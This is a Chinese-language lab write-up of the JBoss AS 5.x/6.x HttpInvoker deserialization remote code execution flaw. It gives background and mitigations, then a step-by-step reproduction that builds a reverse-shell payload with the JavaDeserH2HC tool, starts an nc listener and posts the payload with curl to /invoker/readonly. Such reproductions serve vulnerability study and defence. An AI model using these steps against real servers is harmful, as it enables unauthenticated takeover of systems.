一、漏洞的说明
JBOSS Application Server是一个基于J2EE的开放源代码的应用服务器。
2017年8月30日,厂商Redhat发布了一个JBOSSAS 5.x 的反序列化远程代码执行漏洞通告。该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码。但近期有安全研究者发现JBOSSAS 6.x也受该漏洞影响,攻击者利用该漏洞无需用户验证在系统上执行任意命令,获得服务器的控制权。
二、影响的版本
5.x和6.x版本的JBOSSAS
三、漏洞防护建议
有效解决方案:升级到JBOSS AS7版本临时解决方案:
1、不需要 http-invoker.sar 组件的用户可直接删除此组件;
2、用于对 http invoker 组件进行访问控制。
以上都是前期需要了解的漏洞类型,然后要对漏洞有一定的了解,漏洞利用成功性会比较大,下面时漏洞的复现
四、漏洞复现实验漏洞
环境安装:
注:安装JBOSS之前先要安装JAVA环境,并配置好环境变量下载jboss-6.1.0.Final压缩包并解压安装,并配置环境变量。安装方法自行百度
找到server.xml文件(各个版本的JBOSS文件位置可能不一样)
修改以下部分
找到run.bat文件,启动服务
出现下面提示,说明jboss服务启动成功
如果一切正常的话,可以访问网站
漏洞环境已经搭建成功了,攻击环境如下
1、首先在GitHub上面下载我们需要的漏洞poc
git clone https://github.com/joaomatosf/JavaDeserH2HC
2、在Kali中下载执行生成二进制的payload文件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
3、修改接受shell的主机IP和端口
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.11.110:4444
4、新建一个终端,进行监听
nc -vv -l -p 4444
5、Curl向被攻击服务器发送攻击Payload。
curl http://192.168.11.123:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
6、测试结果。
以上就是漏洞的利用全部过程。